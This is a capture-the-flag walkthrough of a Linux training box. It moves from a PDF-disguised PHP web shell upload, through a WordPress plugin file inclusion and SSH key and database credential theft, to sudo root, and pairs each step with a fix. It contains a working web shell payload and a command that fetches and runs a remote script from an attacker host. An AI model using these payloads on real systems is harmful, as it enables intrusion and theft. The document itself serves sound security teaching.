← all walkthroughs

Moderators

Linux· Hard· Web
owned
2026-10-14
time to own
33m36s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I found a public blog whose report log-upload page accepted a PHP web shell disguised as a PDF, which gave command execution as the web user. From there an internal-only WordPress site with a file-inclusion flaw in a plugin was reached, giving a shell as the user 'lexi'.

Lexi's unencrypted SSH key and the WordPress database credentials exposed an encrypted copy of user 'john' SSH private key, and the plugin's own source and database key allowed it to be decrypted. John's home directory held a chat export containing his sudo password in encoded form, and because john had unrestricted sudo, my became root and took full control of the server.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD3="<the-password-you-recovered, for wordpressuser>"

Some commands also carry a value in angle brackets — <sudo_pw> — which you replace inline with what the step before it turned up.

Attack path — how the box was taken

1EnumerationService discovery and web content enumeration
Mapped the exposed services and the blog's upload feature
A full port scan showed only SSH (22) and an Apache/PHP blog (80). The blog exposed report pages and a log-upload page under /logs/ that was reachable without authentication, and uploaded files landed in a web-readable uploads/ directory.
Open ports 22/tcp and 80/tcp (Apache 2.4.41, Ubuntu); contact.php and /logs/ content reachable anonymously.
Exact commands 4
shell

Find open ports (expect only 22 and 80).

$ nmap -p- --min-rate=1000 -T4 $TARGET
shell

Fingerprint the two services.

$ nmap -sCV -p22,80 $TARGET
shell

Walk the blog and confirm the PHP application.

$ curl -ksS -L --max-time 10 --max-redirs 3 http://$TARGET/contact.php
shell

Discover the /logs/uploads/ directory and report_log_upload.php.

$ ffuf -u "http://$TARGET/logs/FUZZ" -w /usr/share/wordlists/dirb/common.txt
2Initial AccessUnrestricted file upload to RCE (CWE-434)
Uploaded a PHP web shell disguised as a PDF and gained command execution as www-data
The upload form only checked the file extension, the declared MIME type and the '%PDF-' magic bytes, all of which I controlled. A file beginning with %PDF- followed by PHP code was accepted, stored in a web-served directory under a .php name, and executed when requested. Because system() was disabled, the shell used popen()/fread() to run commands.
Request to /logs/uploads/rp.pdf.php?cmd=id returned uid=33(www-data) on host 'moderators'.
Exact commands 3
shell

Create a PDF-looking PHP shell using popen because system() is disabled.

$ printf '%%PDF-<?php echo fread(popen($_GET["cmd"],"r"),4096); ?>' > rp.pdf.php
shell

Upload it; the response does not reveal the stored path.

$ curl -sS -F 'file=@rp.pdf.php;type=application/pdf' http://$TARGET/logs/report_log_upload.php
shell

Confirm code execution as www-data.

$ curl -sS "http://$TARGET/logs/uploads/rp.pdf.php?cmd=id%3Bhostname%3Bpwd"
FixHarden the report log-upload endpointCritical
WeaknessThe /logs/report_log_upload.php page accepted any file that claimed to be a PDF, trusting the extension, MIME type and first bytes, and stored it under its original name in a web-served directory where PHP executed, so an unauthorised user could upload and run code.
FixRequire authentication for the upload page; accept only genuine PDFs verified server-side; generate random filenames and force a .pdf extension; store files outside the web root or disable PHP execution in the uploads directory (php_admin_flag engine off); and remove popen/passthru/shell_exec from disable_functions exceptions.
3Lateral MovementLocal file inclusion to RCE in a WordPress plugin (CWE-98)
Abused a file-inclusion flaw in the internal WordPress plugin to run code as lexi
From the web shell, listening sockets showed a WordPress instance on 127.0.0.1:8080 running as the user 'lexi' (site in /opt/site.new). Its 'brandfolder' plugin included wp-load.php from a path supplied in the wp_abspath request parameter. I placed a malicious wp-load.php in a writable directory and pointed the parameter at it, so the lexi-owned web server executed a reverse shell as lexi.
Shell obtained as uid=1001(lexi) gid=1001(lexi) groups=1001(lexi),1002(moderators) on host 'moderators'.
Exact commands 4
shell

From the www-data shell: find the internal-only WordPress on 127.0.0.1:8080.

$ ss -tlpn
shell

Place the payload file that the plugin will include.

$ echo '<?php echo fread(popen("curl '"$ATTACKER_IP"':8000/shell.sh|bash","r"),4096); ?>' > /dev/shm/wp-load.php
shell

My listener for the callback.

$ nc -lvnp 4444
shell

Trigger the inclusion; the lexi-owned server runs the payload.

$ curl -s 'http://127.0.0.1:8080/wp-content/plugins/brandfolder/callback.php?wp_abspath=/dev/shm/'
FixPatch or remove the vulnerable WordPress Brandfolder pluginHigh
WeaknessThe Brandfolder plugin's callback.php included wp-load.php from a user-supplied wp_abspath parameter, letting anyone who could reach the internal site run arbitrary PHP as the user that owned the web server (lexi).
FixRemove or update the plugin to a fixed version that no longer takes the path from request input; do not run the internal WordPress as a real user account that owns an SSH key and home directory; restrict the service to a dedicated unprivileged account.
4Credential AccessUnprotected private key theft (T1552.004)
Took lexi's unencrypted SSH key and stable SSH access
Lexi's private SSH key had no passphrase, so once the key was read it was used directly to log in over SSH, replacing the fragile reverse shell with a stable session in the 'moderators' group.
Ssh-keygen -y validated the recovered key (KEY_VALID); ssh login returned uid=1001(lexi) on 'moderators'.
Exact commands 3
shell

Read lexi's unencrypted key from the lexi shell and copy it to my machine as lexi.key.

$ cat /home/lexi/.ssh/id_rsa
shell

Confirm the key is valid.

$ chmod 600 lexi.key && ssh-keygen -y -f lexi.key >/dev/null && echo KEY_VALID
shell

Log in as lexi.

$ ssh -i lexi.key lexi@$TARGET 'id; hostname; pwd'
uid=1001(lexi)
FixProtect SSH private keys with passphrases and restrict home directory accessHigh
WeaknessLexi's private SSH key was stored without a passphrase, so anyone who could read the file could log in as lexi immediately.
FixRegenerate the key with a strong passphrase (ssh-keygen -p), or move to short-lived certificates; restrict key use with from= and command= options in authorized_keys; keep ~/.ssh permissions at 700/600 and rotate the exposed key.
5Credential AccessSecrets stored with their decryption key in the same database (CWE-257 / T1552)
Pulled john's encrypted SSH key from the WordPress password manager and decrypted it
Lexi could read the WordPress configuration, which held the database login in plain text. The Passwords Manager plugin stored an entry named 'SSH key' for john@moderators.htb, encrypted with AES-256-CBC, and the encryption key sat in the same database (pms_encrypt_key). The plugin's own encryption.php showed exactly how to derive the key (PBKDF2-SHA512 from the salt and iterations) and decrypt, so I recovered john's private key and logged in as john.
wp-config.php exposed DB_USER wordpressuser; wp_pms_passwords returned an 'SSH key' row for john@moderators.htb; ssh as john returned uid=1000(john) and user.txt was read.
Exact commands 5
shell

Read the database credentials.

$ ssh -i lexi.key lexi@$TARGET grep -E "DB_(NAME|USER|PASSWORD|HOST)" /opt/site.new/wp-config.php
shell

Dump the encrypted SSH key entry and the encryption key.

$ mysql -N -u wordpressuser -p"$PASSWORD3" wordpress -e "SELECT user_name,user_email,user_password FROM wp_pms_passwords; SELECT option_value FROM wp_options WHERE option_name='pms_encrypt_key';"
shell

Review the AES-256-CBC / PBKDF2 scheme; copy decrypt() into a standalone decrypt.php with the ciphertext and key inlined.

$ sed -n '1,220p' /opt/site.new/wp-content/plugins/passwords-manager/inc/encryption.php
shell

Run the decryption and reflow the key, whose newlines were stored as spaces.

$ (echo '-----BEGIN OPENSSH PRIVATE KEY-----'; php decrypt.php | sed 's/ /\n/g' | grep -v OPEN | tail -n+4 | head -n-3; echo '-----END OPENSSH PRIVATE KEY-----') > john.key && chmod 600 john.key
shell

Log in as john; user.txt = <user.txt>.

$ ssh -i john.key john@$TARGET 'id; hostname; pwd; cat /home/john/user.txt'
uid=1000(john)
FixDo not store SSH keys in a web password manager alongside their decryption keyHigh
WeaknessThe WordPress Passwords Manager plugin held john's SSH private key encrypted, but the encryption key was in the same database and the decryption code was readable by lexi, so anyone with database access could recover the key. The database password was also stored in plain text in wp-config.php and readable by lexi.
FixRemove SSH keys from the plugin and rotate john's key; keep secrets in a proper vault with the key held separately; restrict wp-config.php to the web service account (chmod 640, correct owner); use a database account limited to what WordPress needs and rotate its password.
6Privilege EscalationCredentials in files / insecurely stored passwords (T1552.001)
Found john's sudo password in a chat export in his home directory
John's home directory contained WhatsApp chat exports under stuff/exp/. The conversation contained his sudo password in a base64-encoded string, which decodes trivially to the cleartext password. Encoding is not protection, so the password was recovered directly from the file.
Cat /home/john/stuff/exp/*.exp showed a message containing a base64 string; decoding it yielded john's password, which sudo accepted.
Exact commands 2
shell

Read the chat export and locate the base64 string.

$ cat /home/john/stuff/exp/*.exp
shell

Decode the string to get john's cleartext sudo password (used below as <sudo_pw>).

$ echo $PASSWORD | base64 -d
FixRemove passwords from files and chat exportsHigh
WeaknessJohn's sudo password was written in a chat export in his home directory, only base64-encoded, which offers no protection.
FixDelete the chat exports and any stored copies, change john's password immediately, never share credentials over chat, and use a password manager. Add endpoint scanning for credentials stored in user home directories.
7Privilege EscalationExcessive sudo privileges (T1548.003)
Used john's unrestricted sudo rights to become root
John was permitted to run any command as any user through sudo. With the recovered password, a root shell was started and root.txt was read, giving full control of the server.
Sudo -l reported '(root) ALL'; the sudo shell returned uid=0(root) on host 'moderators' and root.txt was read.
Exact commands 2
shell

Confirm john may run all commands as root.

$ echo '<sudo_pw>' | sudo -S -l
shell

Run as root; root.txt = <root.txt>.

$ echo '<sudo_pw>' | sudo -S /bin/bash -c 'id; hostname; pwd; cat /root/root.txt'
FixLimit sudo rights to the minimum required commandsHigh
WeaknessThe user john could run any command as root via sudo ((root) ALL), so knowing his password was enough for complete takeover.
FixReplace the blanket rule with specific allowed commands in /etc/sudoers.d, require MFA or a separate admin account for administration, enable sudo logging, and review membership regularly.

Attack patterns used

The transferable techniques behind this compromise.

Unrestricted File UploadWebT1505.003

What it is

An upload feature that doesn't properly validate file type/content lets an unauthorised user upload a server-side script (.php, .phtml, .jsp, .aspx) and then browse to it for code execution. Bypasses include double extensions, MIME spoofing, magic-byte tricks, and abusing permissive .htaccess.

Why it works

Validation is often done on the client or on an easily-spoofed extension/MIME rather than on content and storage location. Remediate by storing uploads outside the web root, randomizing names, enforcing an allow-list by content, and disabling execution in the upload directory.

Read more

SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004

What it is

Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets an unauthorised user authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.

Why it works

Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.

Read more

Exposed services

22/tcp
80/tcp